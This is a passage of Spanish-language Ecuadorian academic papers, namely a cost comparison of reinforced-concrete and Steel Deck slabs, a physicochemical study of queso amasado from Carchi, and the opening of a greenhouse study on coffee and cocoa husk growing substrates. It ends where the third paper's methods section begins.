Herrera R. I., Vielma J.C. (2014). Metodologías de evaluación de vulnerabilidad sísmica de edificios: un estado del conocimiento. En J. C. Vielma, Contribuciones a la evaluación de la vulnerabilidad sísmica de edificios. España.

Instituto Geofísico. (6 de mayo de 2016). El Instituto Geofísico de la Escuela Politécnica Nacional informa sobre los efectos causados por el terremoto. Recuperado el 15 de junio de 2017, de <http://www.igepn.edu.ec/servicios/noticias/1325-el-instituto-geofisico-de-la-escuela-politecnica-nacional-informa-sobre-los-efectos-causados-por-el-terremoto>

TIPOS DE LOSAS Y SU INFLUENCIA EN LOS COSTOS

Ing. Erik Gabriel Villavicencio Cedeño MS.c¹

Ing. Lenin Enriquez Viteri²

Valeria Estefania Cabay Zambrano³

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

Correo: carpig@hotmail.com

Teléfono: 0939419621

RESUMEN

El presente artículo trata sobre la influencia del costo de losas aligeradas bidireccionales con vigas descolgadas de hormigón armado y losas Steel Deck con luces de 4.00 metros, 6.00 metros y 8.00 metros. Se utilizó diversas alternativas de diseño en las losas de hormigón armado, las cuales consistieron en colocar vigas secundarias del mismo espesor de la losa tanto en el sentido transversal y longitudinal de cada paño. En las losas Steel Deck se modificó la cantidad de vigas secundarias de dos a tres dependiendo de las luces de los paños. Se priorizó y verificó la seguridad, resistencia y eficiencia de dichas estructuras, las cuales para su modelación matemática se la realizó con el software "Extended Three Dimensional Analysis of Building Systems". El resultado de la investigación se llevó a cabo mediante el método analítico sintético y empírico.

Finalmente, después de muchos tanteos se determinó que las losas Steel Deck son más económicas en comparación de costo que las losas de hormigón armado y en cuanto a las longitudes planteadas la mejor opción, debido a que su deflexión es menor es la losa Steel Deck con vigas secundarias de acero con luces de 4.00 metros.

Palabras clave: Losas Bidireccionales, Losas Steel Deck, Costos

SUMMARY

This article deals with the influence of the cost of lightened bidirectional slabs with detached beams of reinforced concrete and Steel Deck slabs with lights of 4.00 meters, 6.00 meters and 8.00 meters. Various design alternatives were used in the reinforced concrete slabs, which consisted of placing secondary beams of the same thickness of the slab both in the transverse and longitudinal direction of each cloth. In the Steel Deck slabs, the number of secondary beams was modified from two to three depending on the lights of the panels. The safety, resistance and efficiency of these structures were prioritized and verified, which for its mathematical modeling was carried out with the software "Extended Three Dimensional Analysis of Building Systems". The result of the investigation was carried out by means of the synthetic and empirical analytical method.

Finally, after many scores it was determined that the Steel Deck slabs are cheaper compared to the cost of reinforced concrete slabs and in terms of the lengths proposed the best option, because its deflection is smaller is the Steel Deck slab with secondary steel beams with lights of 4.00 meters.

Keywords: Bidirectional slabs, Steel Deck slabs, Costs

INTRODUCCIÓN

Muchas ciudades están implementando varios sistemas constructivos de losas con luces de grandes dimensiones, con el fin de mejorar la infraestructura, reducir costos y darle una proporción de espacios más conveniente a las edificaciones.

El presente artículo busca comparar costos entre dos sistemas constructivos diferentes como son, losas de hormigón armado aligeradas bidireccionales con vigas descolgadas y losas con Steel Deck; tomando en consideración luces habituales constructivamente en Ecuador se utilizaron vanos de losas de 4 metros, 6 metros y 8 metros. Considerando siempre la capacidad de resistencia y rigidez ante cargas gravitacionales se realizando el respectivo análisis del desempeño estructural y su comparación de costos para su desarrollo, es de notar que las losas Steel Deck son elementos estructurales más ligeros y de fácil colocación por lo cual su tiempo de construcción es más rápida.

MATERIALES Y MÉTODOS

Materiales Utilizados

Se eligieron dos tipos de losas; de Hormigón Armado y Steel Deck, las cuales son simétricas en planta y elevación. La geometría en planta de las losas en el sentido X y Y consta cuatro ejes ortogonales con luces que varían entre ejes de 4.00 m, 6.00 m y 8.00m respectivamente, se consideró una altura de entre piso de 3.20 m. Para el Hormigón Armado y el Steel Deck se consideró un módulo de elasticidad de $E_c=234264.807 \text{ kg/cm}^2$, una resistencia a la ruptura de $f'_c=280 \text{ kg/cm}^2$. Para las vigas secundarias metálicas se utilizó un acero A36.

Métodos

Se utilizó el método analítico sintético el mismo que sirve de apoyo para poder obtener de manera eficiente los resultados tomando por partes el proceso hasta llegar a un todo en este caso, que vendría hacer el proceso de análisis y diseño de losas, vigas y columnas hasta determinar el costo total mediante el análisis de precios unitarios basados en su diseño final, se escogió el método empírico de medición ya que ayuda a verificar y comprobar, en este caso el costo/m² respecto a las alternativas de losas desarrolladas utilizando graficas cuantitativas que permiten apreciar de mejor manera la diferencia de costos.

RESULTADOS Y DISCUSIÓN

El modelo matemático que mejor se comportó estructuralmente ante cargas verticales y resulto más económico fue la losa Steel Deck para las luces de 4.00 m, 6.00 m y 8.00 m; el cual su modelo matemático consta de un sistema mixto de columnas y vigas principales de hormigón armado y dos vigas secundarias IPE de acero A36.

Losas con luces de 4 metros

Secciones utilizadas en losa Steel Deck con dos vigas secundarias de acero

- Columnas: 70 x 70 cm
- Vigas principales: 30x40 cm
- Dos vigas secundarias IPE 200 A36
- Losa Deck h=10cm
- Espesor de panel: $e = 0.65\text{mm}$

Losas con luces de 6 metros

Secciones utilizadas en losa Steel Deck con dos vigas secundarias de acero

- Columnas: 70 x 70 cm
- Vigas principales: 30x60 cm
- Dos vigas secundarias IPE 300 A36
- Losa Deck h=10cm
- Espesor de panel: $e = 0.65\text{mm}$

Losas con luces de 8 metros

Secciones utilizadas en losa Steel Deck con dos vigas secundarias de acero

- Columnas: 70 x 70 cm
- Vigas principales: 40x80 cm
- Dos vigas secundarias IPE 400 A36
- Losa Deck h=10cm
- Espesor de panel: $e = 0.65\text{mm}$

A continuación, se presentan las longitudes, secciones y espesor de la losa Steel Deck, para las luces antes mencionadas.

En las siguientes figuras se presenta la relación de costo/m² con respecto la losa Steel Deck con dos vigas secundarias de acero.

Relación de costos en Losas con luces de 4 metros (Steel Deck)

Relacion de costos en Losas con luces de 6 metros (Steel Deck)

Relacion de costos en Losas con luces de 8 metros (Steel Deck)

Por último, se presenta la variación promedio de costos en función de la luz con respecto a la losa Steel Deck con dos vigas secundarias de acero.

CONCLUSIONES

La losa más económica para luces de 4.00 m, 6.00 m y 8.00 m es la Steel Deck con dos vigas secundarias de acero.

La variación promedio de costo/m² es directamente proporcional a la luz del vano y su línea de tendencia es lineal.

REFERENCIAS BIBLIOGRÀFICAS

American Concrete Institute. (2014). Requisitos de Reglamento para Concreto Estructural(318-014).

American Institute Of Steel Construction. (2010). Especificaciones ANSI/AISC 360-10 para Construcciones de Acero(Versión español). Santiago de Chile.

Guerra, M. (2010). Manual Para el Diseño Sismorresistente de Edificios utilizando el programa Etabs.

Norma Ecuatoriana de la Construcción. (2015). Estructuras de Hormigón Armado.

Agropecuaria- Alimentos

CALIDAD FISICOQUÍMICA DE LOS QUESOS AMASADOS ELABORADOS EN LA PROVINCIA DEL CARCHI

Francisco Javier Domínguez Rodríguez, MSc. PhD.

Miguel Ángel Anchundia Lucas, MSc.

Christian Javier Jácome Cedillo, MSc.

Freddy Giovanni Torres Mayanquer, MSc.

UNIVERSIDAD POLITÉCNICA ESTATAL DEL CARCHI

francisco.dominguez@upec.edu.ec, miguel.anchundia@upec.edu.ec

christiam.jacome@upec.edu.ec, freddy.torres@upec.edu.ec

RESUMEN

Con la finalidad de determinar la homogeneidad y el cumplimiento de la normativa legal de los quesos amasados producidos por cinco fábricas de la Provincia del Carchi, fueron analizados los parámetros fisicoquímicos de humedad, grasa, proteína cruda, cloruro de sodio, acidez, pH y actividad de agua, según la metodología oficial. Las comparaciones entre las plantas fueron realizadas mediante análisis de varianza y posteriormente con el estadístico de Tukey para determinar las diferencias entre medias. Se encontraron diferencias estadísticamente significativas en los parámetros estudiados ($p \leq 0,05$) a excepción de la acidez titulable. Las diferencias encontradas sugieren la no estandarización de la leche, falta de procesos estándares utilizados en los procesos productivos y la carencia de personal profesional en las distintas plantas procesadoras, lo cual conlleva al no cumplimiento de las normativas legales referente a los quesos frescos (Normas INEN 1528 y 3067).

PALABRAS CLAVE: parámetros fisicoquímicos, estandarización, quesos frescos, normativas legales.

ABSTRACT

In order to determine the homogeneity and compliance with the legal regulations of the fresh cheeses (queso amasado) produced by five factories of the Province of Carchi, the physicochemical parameters of humidity, fat, crude protein, sodium chloride, acidity, pH and water activity were analyzed according to the official methodology. The comparisons between factories were made by analysis of variance and later with Tukey's statistics. Statistically significant differences were found in the studied parameters ($p \leq 0.05$) with the exception of

titratable acidity. The differences found suggest the non-standardization of milk, lack of a standard process used in production cheese and the lack of professional staff in the different processing factories, which leads to non-compliance with legal regulations regarding fresh cheeses (Standards INEN 1528 and 3067).

KEYWORDS: Physicochemical parameters, standardization, fresh cheese, legal regulations.

INTRODUCCIÓN

Los quesos elaborados de manera industrial generalmente emplean técnicas de producción con estándares de calidad adecuados. Contrariamente, los quesos elaborados de manera artesanal suelen utilizar técnicas rudimentarias, en las cuales tienen poco control de calidad en cuanto al procesamiento y manejo del queso. Esto último además de disminuir su vida útil, ocasiona enfermedades a quienes los consumen (Perdomo et al., 2015).

Entre los beneficios que obtienen las empresas productoras de queso fresco, mediante la mejora y homogenización de la calidad de sus productos es el cumplimiento de las normativas legales, facilitar la competencia con otros productos en el mercado local, así como la creciente necesidad de responder a los consumidores que demandan productos de óptima calidad (Calampa, Fernández y Bernal, 2019).

De acuerdo con Vásquez et al. (2012) en los quesos los parámetros fisicoquímicos tales como humedad, pH y actividad de agua (aw) son parte de los indicadores utilizados para evaluar su calidad y estabilidad.

En la provincia del Carchi existen pocos estudios relacionados con quesos frescos amasados. En particular, Martínez y Narváez (2013) elaboraron queso fresco prensado utilizando pimientos y ají a los cuales se les realizaron análisis bromatológicos, microbiológicos y sensoriales y se determinaron los mejores tratamientos (formulaciones) de los mismos.

Por otra parte, Benavides, (2015) evaluó la calidad microbiológica de quesos artesanales elaborados en el cantón Tulcán, encontrando que los mismos no presentan una calidad sanitaria adecuada para el consumo humano, debido al alto número de UFC/g de *Escherichia coli*, Coliformes totales y *Staphylococcus aureus*. Sin embargo, en este estudio no se realizaron análisis de las propiedades fisicoquímicas de los quesos.

El objetivo de este trabajo es evaluar las propiedades fisicoquímicas de los quesos frescos (amasados) elaborados en cinco PYMES de la provincia del Carchi con la finalidad de verificar si cumplen con los estándares de calidad establecidos en las normas INEN.

MATERIALES Y MÉTODOS

Muestreo

El muestreo fue realizado en 5 plantas procesadoras de queso amasado ubicadas en la provincia del Carchi, en los Cantones Tulcán, San Pedro de Huaca y Montufar. Inicialmente, las muestras fueron recolectadas al final de proceso productivo, tomando muestras por triplicado de cada planta. Las muestras fueron trasladadas refrigeradas en coolers hasta el laboratorio de análisis de alimentos de la Universidad Politécnica Estatal del Carchi para su análisis inmediato. La codificación de las mismas se realizó de acuerdo al origen de la planta de procesamiento de lácteos en P1, P2, P3, hasta P5.

Caracterización Fisicoquímica

La determinación de humedad fue realizada de acuerdo a la Norma NTE INEN-ISO 5534 (2013), materia grasa por el método de Gerber-Van Gulik reportado por Guzmán, Mayorga y Mejía (2015), proteína cruda siguiendo la metodología descrita en la norma NTE INEN-ISO 8968-1 (2014), actividad de agua (a_w) mediante un medidor de agua directo de marca Novasina LabSwit-aw, pH por el método 981.12 utilizando un potenciómetro Marca Mettler Toledo, acidez titulable expresada en porcentaje de ácido láctico de acuerdo al método 942.15b y cloruro de sodio según el método 971.19 de la AOAC (2005). Los resultados de grasa y proteína cruda fueron expresados en porcentaje (%) en base seca.

Análisis Estadístico

Las determinaciones fisicoquímicas fueron realizadas por triplicado. Los resultados obtenidos fueron analizados estadísticamente mediante un análisis de varianza (ANOVA) de una vía utilizando el Software Minitab Statistical Versión 17, con la finalidad de determinar las diferencias de los parámetros estudiados entre las plantas procesadoras de queso amasado y posteriormente se realizó la prueba de Tukey para determinar las diferencias entre medias. El nivel de confianza utilizado fue de 95%.

RESULTADOS Y DISCUSIÓN

En las Tablas 1 y 2 se muestran los resultados de la caracterización fisicoquímica de las cinco plantas en estudio. Al comparar los resultados, se observa que para el parámetro de humedad hubo diferencia estadísticamente significativa ($p \leq 0,05$) entre plantas, encontrándose los valores de humedad entre 49,58 y 55,05%, lo cual permite clasificarlos como quesos semiduros y semiblandos de acuerdo con la Norma INEN 1528 (2012), la cual establece valores de humedad para el primer caso, máximo de 55% y para el segundo caso máximo de 65%. En esta clasificación existe una ambigüedad, ya que una misma clase de queso podría entrar dentro de ambas categorías. Los valores encontrados son similares a los reportados por Galindo et al. (2017); Bejarano, Sepúlveda y Restrepo, (2016).

En lo que respecta al contenido de grasa en extracto seco, hubo diferencias estadísticamente significativas ($p \leq 0,05$) entre las plantas procesadoras P1 y P2. Los valores encontrados estuvieron entre 43,62 y 48,34%. Estos resultados permiten clasificar a estos quesos como semidescremado y enteros o grasos de acuerdo a la Norma INEN 1528 (2012), que establece valores mínimos para la primera categoría de 20% y para la segunda 45%. Los valores encontrados están dentro de los reportados por Bejarano, Sepúlveda y Restrepo, (2016).

Tabla 1. Análisis fisicoquímicos de quesos amasados obtenidos de los cantones Montúfar, Tulcán y San Pedro de Huaca de la Provincia del Carchi

Muestras	Humedad (%)	Grasa en extracto seco (%)	Proteínas (%)	NaCl (%)
P1	51,24±0,46 ^a	45,47±0,06a	31,46±0,11a	1,85±0,03a
P2	54,74±0,52b	46,77±0,06b	33,34±0,47b	1,89±0,01a
P3	49,58±0,60c	43,62±0,06ab	31,52±0,24c	2,13±0,03b
P4	55,05±0,24d	48,34±0,55ab	32,95±0,11d	1,44±0,01c
P5	53,94±0,25e	47,11±0,52ab	31,44±0,57e	2,02±0,01d

Los valores corresponden al promedio de tres determinaciones $\pm$ la desviación estándar. Las codificaciones de P1, P2.... P5 corresponden a las cinco plantas de procesamiento de queso amasado muestreadas. Letras diferentes en la misma columna muestran diferencias significativas a un nivel de confianza del 95%.

Tabla 2. Análisis fisicoquímicos de quesos amasados obtenidos de los cantones Montúfar, Tulcán y San Pedro de Huaca de la Provincia del Carchi

Muestras	Acidez (%)	pH	a_w
P1	0,15±0,00a	6,55±0,01a	0,980±0,002a
P2	0,25±0,08b	6,88±0,01b	0,976±0,002b
P3	0,25±0,08b	6,48±0,03c	0,969±0,001c
P4	0,25±0,08b	6,06±0,00d	0,981±0,001a
P5	0,25±0,08b	6,94±0,02e	0,974±0,001b

Los valores corresponden al promedio de tres determinaciones $\pm$ la desviación estándar. Las codificaciones de P1, P2.... P5 corresponden a las cinco plantas de procesamiento de queso amasado muestreadas. Letras diferentes en la misma columna muestran diferencias significativas a un nivel de confianza del 95%.

El contenido de proteínas de las cinco plantas de procesamientos estudiadas estuvo entre 31,44 y 33,34%. Los resultados mostraron diferencias estadísticamente significativas entre las plantas de procesamiento estudiadas ($p \leq 0,05$). Los valores reportados, se encuentran dentro de los límites fisicoquímicos mínimos indicados en la Norma INEN 3067 (2016), que establece un valor de 18% para algunos de los quesos frescos fabricados. Los valores encontrados son ligeramente menores que los reportados por Galindo et al. (2017) quienes indicaron valores de proteínas hasta 26,62% en quesos frescos.

En cuanto al contenido de cloruro de sodio (NaCl), hubo diferencias estadísticamente significativas ($p \leq 0,05$) entre las plantas procesadoras, a excepción de las Plantas P1 y P2. Se encontraron valores desde 1,44 a 2,02 % m/m. La Norma INEN 3067 (2016) establece un máximo en quesos frescos de 4% por lo cual los quesos amasados cumplen con la normativa nacional. Estos valores están dentro del rango señalado por Ramírez y Vélez (2012) quienes indican que los quesos blancos contienen hasta 3% de NaCl. Estas diferencias en concentraciones de sal, tal como lo señalan Perdomo et al. (2015) son un indicativo de que no existe un proceso tecnológico bien definido y por ende no existe ningún control en el agregado

de las proporciones de sal en el proceso productivo del queso amasado. Por otro lado, este parámetro debe ser tomado en cuenta ya que es importante para la aceptación sensorial de los quesos amasados.

En el caso de los parámetros pH y acidez titulable se encontraron tendencias opuestas, para el primer parámetro hubo diferencias estadísticamente significativas ($p \leq 0,05$) entre las plantas en estudio. Los valores de pH se encontraron en el rango de 6,06 a 6,94%. Los mismos, son similares a los reportados por Gutiérrez et al. (2015) y se encuentran por debajo de los valores reportados por Galindo et al. (2017). En este aspecto, Perdomo et al. (2015) señalan un rango límite para el pH de 4,9 a 6,5 e indican que estos valores pueden permitir el crecimiento de microorganismos patógenos propios del queso. Por ende, las Plantas procesadoras P1, P2 y P5 están fuera de los valores indicados por los últimos autores. Para la acidez titulable hubo diferencias estadísticamente significativas ($p \geq 0,05$) para la Planta P1, siendo los valores encontrados similares a los reportados por Benyahia et al. (2016) y por debajo de los reportados por Calampa, Fernández y Berna (2018); Perdomo et al. (2015). Valores de acidez superiores al 1% indican, condiciones deficientes de almacenamiento, calidad inadecuada de la materia prima, diferencia y deficiencia en los procesos de producción de los quesos amasados. Estas variaciones conllevan a la fermentación de lactosa por microorganismos hasta la formación de ácido láctico (Perdomo et al., 2015).

Para el caso de la actividad de agua (a_w) hubo diferencias estadísticamente significativas ($p \leq 0,05$) entre las Plantas de procesamiento P1 a P3. Los valores encontrados estuvieron entre 0,969 y 0,981, los cuales se encuentran por debajo de los reportados por Castro et al. (2016). Alimentos con alta actividad de agua, son considerados alimentos perecederos y pueden permitir el crecimiento de bacterias deteriorativas y de bacterias patógenas por contaminación postproceso. En el caso de los quesos frescos se indican 10 días de vida útil bajo condiciones de almacenamiento refrigerado (4°C)

La heterogeneidad de los resultados sugiere que no existe una estandarización de la calidad de la leche, ni la utilización de un proceso en común en las plantas productoras de quesos amasados, que permitan obtener una calidad homogénea en estos productos.

Conclusiones

Al ser el queso amasado un producto propio y de gran consumo en la Provincia del Carchi, las diferencias encontradas en los parámetros fisicoquímicos permiten inferir la falta de

estandarización de las materias primas, la insuficiencia de procesos tecnológicos bien definidos y la carencia de personal profesional que controle estos procesos. Por estas razones, los productores deben estandarizar y controlar la calidad de la materia prima y de los procesos para obtener una calidad más homogénea en términos de atributos fisicoquímicos que permitan cumplir con la normativa legal del Ecuador. Esto se traduciría en una mayor competitividad de las empresas dedicadas a la producción de este tipo de quesos, permanencia en el mercado y a la vez en una mayor rentabilidad para sus negocios.

REFERENCIAS BIBLIOGRÁFICAS

- AOAC (2005). Official Method Analysis of the Association of Official Analytical Chemitry. Washington, DC, USA.
- Benavides, E.G. (2015). Evaluación de la calidad sanitaria de quesos amasados elaborados artesanalmente en el cantón Tulcán. Tesis de Grado. UPEC. 144 p.
- Bejarano., E. E., Sepúlveda. J. U., & Restrepo., D.A. (2016). Characterization of a processed cheese spread produced from fresh cheese (quesito antioqueño). *Revista Facultad Nacional de Agronomía Medellín*, 69(2), 8015-8022.
- Benyahia, F. A., Aissaoui-Zitoun, O., Boughellout, H., Adoui, F., Harkati, A., Bakou, C. R., Wodo, D., & Zidoune, M. N. (2016). Fresh Cheese “Peulh Type”: Characterization and Sensory Aspects. *J Adv Dairy Res*, 4(163), 2.
- Calampa, L., Fernández, A., y Bernal, W. (2019). Evaluación de la calidad fisicoquímica y microbiológica de queso fresco en las cuencas lecheras de la Región Amazonas, Perú. *Agroindustrial Science*, 8(2), 117-121.
- Castro, A. D., Atencia, O. O., Bermúdez, S. C., Sánchez, N. J., y Padilla, M. L. (2016). Detección de *Listeria spp* y *Salmonella spp* en queso y su relación con las características fisicoquímicas. *Revista Politécnica*, 12(23), 91-98.
- Galindo, E.P., Valladares Carranza, B., Gutiérrez Castillo, D. C., Arriaga Jordan, C. M., Quintero-Salazar, B., Cervantes Acosta, P., y Velázquez Ordoñez, V. (2017). Caracterización de queso fresco comercializado en mercados fijos y populares de Toluca, Estado de México. *Revista mexicana de ciencias pecuarias*, 8(2), 139-146.

- Guzmán, L. J., Mayorga, N.A., y Mejía, C.F. (2015) Evaluación de parámetros físicos, químicos y microbiológicos del queso fresco prensado producido en la región Junín, Perú. *Apuntes de Ciencia & Sociedad*, 5(2), 280-286.
- Martínez, F. M., Narváez, R. Y. (2013) “utilización de 3 variedades de pimiento y 3 variedades de ají fresco y deshidratado para la elaboración de queso fresco prensado. Tesis de grado. UPEC. 171 p.
- Normativa Técnica Ecuatoriana INEN 1528 (2012). Norma General para Quesos Frescos no Madurados Requisitos. Quito, Ecuador.
- Normativa Técnica Ecuatoriana INEN 3067 (2016). Quesos elaborados con mezcla de leche. Requisitos. Quito, Ecuador.
- Normativa Técnica Ecuatoriana INENISO 5534 (2013). Queso y queso fundido-determinación del total contenido en sólidos (método de referencia) (IDT). Quito, Ecuador.
- Normativa Técnica Ecuatoriana INENISO 8968-1 (2014). Leche y productos lácteos-determinación del contenido de nitrógeno–parte 1: método kjeldahl y cálculo de la proteína bruta (ISO 8968-1:2014 | idf 20-1:2014, mod. Quito, Ecuador.
- Perdomo, C., Gutiérrez, F., García, O., Acevedo, I., Bastidas, Z., y Kowalski, A. (2015). Caracterización fisicoquímica y bacteriológica de queso blanco artesanal en la parroquia Buría, estado Lara, Venezuela. *Gaceta de Ciencias Veterinarias*, 20(2), 35-44.
- Ramírez, C., y Vélez, J. F. (2012). Quesos frescos: propiedades, métodos de determinación y factores que afectan su calidad. *Temas selectos de Ingeniería en Alimentos*, 6(2), 131-148.
- Vásquez, N., Duran, L., Sánchez, C., y Acevedo, I. (2012) Evaluación de las características fisicoquímicas y microbiológicas del queso blanco a nivel de distribuidores, estado Lara, Venezuela. *Zootecnia Trop*, 30(3), 217-223

BIOGRAFÍA DEL AUTOR

Francisco Javier Domínguez Rodríguez, Doctor en Ingeniería Química. Universidad del Zulia. Maracaibo, Venezuela. Diciembre, 2010. Magister Scientiarum en Ingeniería

Química. Universidad del Zulia. Maracaibo, Venezuela. Diciembre, 2003. Ingeniero Químico. Universidad del Zulia. Maracaibo, Venezuela. Julio, 2000. Docente ocasional FIACA UPEC. Octubre 2017–Presente. Docente tiempo completo UDLA. Febrero 2016–Julio 2017. Profesor e Investigador LUZ. Mayo 2001 – Julio 2015. Experiencia Docente a nivel de posgrado en las asignaturas Fisicoquímica Avanzada, Termodinámica para Ingenieros Químicos y Catálisis Heterogénea, y en pregrado Fisicoquímica, Balance de Materiales y Energía Laboratorio de Análisis, Monitoreo y Medición Ambiental, Toxicología, Matemática 1 y Física 1. Autor/Coautor de 14 artículos científicos. Presentación de 40 Ponencias en Congresos y Eventos Científicos. Participación en 13 Proyectos de investigación

Miguel Ángel Anchundia Lucas, Magister Scientiarum Mención Ciencia y Tecnología de Alimentos. Universidad Central de Venezuela. Caracas, Venezuela. Diciembre 2009. Especialista en Gerencia de Negocios. Universidad Central de Venezuela. Caracas, Venezuela. Julio 2012. Licenciado en Biología Mención Tecnología de Alimentos. Universidad Central de Venezuela. Caracas, Venezuela. Diciembre 2005. Docente ocasional FIACA UPEC. Abril 2018–Presente. Especialista de Calidad en Corporación Inlaca (Industria Lacteas Carabobo). Abril 2006- Agosto 2017. Docente Ocasional UPEL-Caracas. Marzo 2014–Septiembre 2016. Docente ocasional Universidad Central de Venezuela Febrero 2012 – Julio 2015. Experiencia Docente en las asignaturas de Biología, Biología Celular y Molecular, Genética, Microbiología I, Microbiología de Alimentos, Biotecnología I, Biotecnología de Alimentos, Toxicología, Tecnología de Cereales y Oleaginosas, Auditoria de Sistemas de Gestión de la Calidad. Autor/Coautor de 10 artículos científicos. Presentación de 10 Ponencias en Congresos y Eventos Científicos. Participación en 6 Proyectos de investigación.

Christian Javier Jácome Cedillo, Magister en Dirección de Proyectos de la Universidad de Especialidades Espíritu Santo (UEES) Ecuador - Magíster en Docencia y Gerencia en Educación Superior de la Universidad de Guayaquil. Ecuador – Especialista en Gerencia en Educación Superior de la Universidad de Guayaquil. Ecuador - Ingeniero en Alimentos de la Universidad Técnica de Machala (UTMACH). Actualmente Docente Ocasional I de la carrera de Alimentos de la Universidad Politécnica Estatal del Carchi (UPEC).

Freddy Giovanni Torres Mayanquer, Ingeniero Agroindustrial (Universidad Técnica del Norte). Diploma Superior en Currículo por Competencias (Universidad Técnica de

Ambato). Maestría en Procesamiento de Alimentos (Universidad Agraria del Ecuador).
Docente de la Escuela de Desarrollo Integral Agropecuario. Docente de la carrera de
Alimentos. Docente Investigador Universidad Politécnica Estatal del Carchi

EFFECTOS DE LA FERTILIZACIÓN Y TIPOS DE SUSTRATOS SOBRE LA PRODUCCIÓN DE LECHUGAS (*LACTUCA SATIVA* L), ACELGA (*BETA VULGARIS* VAR. *CICLA*). TOMATE (*SOLANUM LYCOPERSICUM*) BAJO INVERNADERO

Maritza Carolina Sánchez Capa,

Mario Jativa Reyes,

Freddy Ajila Antonio Luis Barrera Amat.

RESUMEN

La Amazonía Ecuatoriana, especialmente las provincias de Orellana y Sucumbíos tienen ecosistemas sensibles y gran parte del territorio corresponde a áreas protegidas. En la provincia de Orellana, en el cantón Francisco de Orellana, localización del presente trabajo los suelos se caracterizan por ser aptos para la actividad forestal, sin embargo, el mayor uso del área cultivada corresponde a pastos y cultivos perennes, dentro de estos últimos los cultivos habituales en las fincas de pequeños y medianos productores son el café y cacao. Puesto que ciertos estudios apuntan a uso de subproductos de la actividad agrícola como sustratos de cultivo, reduciendo el empobrecimiento de suelo y el agotamiento de otros recursos naturales empleados durante la producción agrícola con este trabajo se busca la evaluación de cultivos sin suelo usando como sustrato subproductos agrícolas locales. Se sembraron plántulas de tomate, lechuga, acelga, en un invernadero, dividiéndolas en dos grupos de sustratos S1 y S2 (cascarilla de café y cascarilla de cacao respectivamente), cada grupo recibió dos niveles diferentes de fertilización, existiendo un grupo de control. Se midieron variables fenológicas y rendimiento en las plantas cultivadas. La variables fenológicas y rendimiento de las plantas de lechuga tuvieron mejor respuesta en el sustrato de cascarilla de café que en la cáscara de cacao, las plantas de acelga se desarrollaron mejor en el sustrato de cáscara de cacao mientras que el tomate no mostró preferencia por ningún sustrato, pero tuvo mejor desarrollo frente a la dosis más alta de fertilización.

PALABRAS CLAVE: Amazonía, café, cacao, sustrato, fenología.

ABSTRACT

The Ecuadorian Amazon, especially the provincial of Orellana and Sucumbíos, has sensitive ecosystems and much of the territory corresponds to protected areas. In the province of

Orellana, in the Canton Francisco de Orellana, the location of the present work the soils are characterized by being suitable for forest activity, however the greater use of the cultivated area corresponds to pastures and perennial crops, within the latter the usual crops in the farms of small and medium producers are coffee and cocoa. The fact that certain studies point to the use of by-products of agricultural activity such as growing substrates, reducing the impoverishment of the soil and the depletion of other natural resources used for agricultural production this paper seeks to evaluation of crops without soil, using as substrate agricultural by-products local. Tomato seedlings, lettuce, acelga were planted in a greenhouse, dividing them into two groups of S1 and S2 substrates (coffee husks and cocoa husks respectively), each group received two different levels of fertilization, with a control group. Phenological variables and yield were measured in the cultivated plants. The phenological variables and performance of the lettuce plants had a better response in the substrate of the scale of coffee in the husk of cacao, the plants of chard were developed better in the substrate from husk of cocoa while the tomato showed no preference for any substrate but had better development compared to the higher dose of fertilization.

KEYWORDS: Amazon, coffee, cocoa, substrate, phenology.

1. INTRODUCCIÓN

Uno de los principales problemas de la actividad agrícola a nivel mundial y en el Ecuador, son los fenómenos adversos para la producción de hortalizas: sequías, fuertes precipitaciones, bajas temperatura, excesiva radiación solar, fuertes corrientes de vientos que acaman los cultivos, problemas de plagas y enfermedades, que afectan la producción agrícola, causando pérdidas económicas y escasez de productos en el mercado (Torres, C., 2018).

En algunas zonas estas condiciones adversas han provocado inversiones para implantar el uso de invernaderos los cuales brindan condiciones ambientales y de resguardo favorable para el desarrollo de los cultivos. En este sentido el cultivo bajo invernadero y con el uso de sustratos orgánicos surge como una alternativa a la agricultura tradicional de la zona, cuyo principal objetivo es disminuir los factores limitantes del crecimiento vegetal asociados a las características del suelo (Vargas, C y Nienhuis, J., 2011).

En el Ecuador, las provincias de Sucumbíos, Orellana y Napo constituyen la Amazonía norte. En esta zona, los cultivos comunes en las fincas de los pequeños y medianos productores son

café de la especie robusta (*Coffea canephora* Pierre) y cacao (*Theobroma cacao*) de las variedades CCN51 y tipo Nacional. Estos cultivos han tenido un mayor apoyo debido para su desarrollo debido a su importancia como una fuente generadora de ingresos para los agricultores (Viteri, O., 2013)

En el cantón Fco. de Orellana, la frontera agrícola incrementa afectando los bosques primarios y secundarios que existen en las fincas de los colonos y en territorios de las comunas indígenas. Este incremento se debe al aumento de cultivos permanentes y transitorios., situación preocupante debido a que la aptitud del suelo en el cantón es principalmente forestal (suelos rojos) con condiciones muy limitadas para la actividad agropecuaria lo que ha hecho que la productividad esperada de los diferentes cultivos no haya sido la esperada. En consecuencia, las organizaciones gubernamentales fomentan una reconversión agroproductiva sostenible que prioriza cultivos agropecuarios perennes (café y cacao), sistemas agroforestales de frutales y plantas medicinales, forestería y acuacultura y a su vez promueve la reducción de los pastizales y su reconversión en sistemas silvopastoriles, así como la recuperación del bosque primario y secundario (GADPO, 2015; GADMFO, 2014).

Actualmente, existe una tendencia por un consumo responsable y libre de agroquímicos, lo que ha obligado a la agricultura a innovar en el uso de sustratos libres de residuos contaminantes que contribuyan a diversificar los materiales bases para el desarrollo de los cultivos, tal es el caso de la cascarilla de café, cáscara de coco, cacao y caña. El uso de sustrato para cultivo sin suelo se promueve debido a que existe una reducción de cultivos intensivos, técnicas que buscan controlar los factores climáticos a través de cubiertas o invernaderos y el fomento a la seguridad alimentaria (García, J., 2013; Alemán, R. D., 2014)

El campesino de Francisco de Orellana se desenvuelve en un medio climático desfavorable para la producción de hortalizas, excesiva radiación solar y suelos infértiles, por lo que la Extensión Norte Amazónica de la ESPOCH, como institución consagrada con el deber de aportar conocimientos y experiencias para el mejoramiento de la calidad de vida del Ecuador y la provincia Orellana en particular se dio a la tarea de llevar a cabo este ensayo preliminar de cultivo de tomate, lechuga y acelga bajo invernadero en dos sustratos (cascarilla de cacao y cascarilla de café) con diferentes niveles de fertilización de tal manera que se evalúe cultivos sin suelo usando subproductos agrícolas locales y se cree escenarios de aprendizaje.

2. MATERIALES Y MÉTODOS

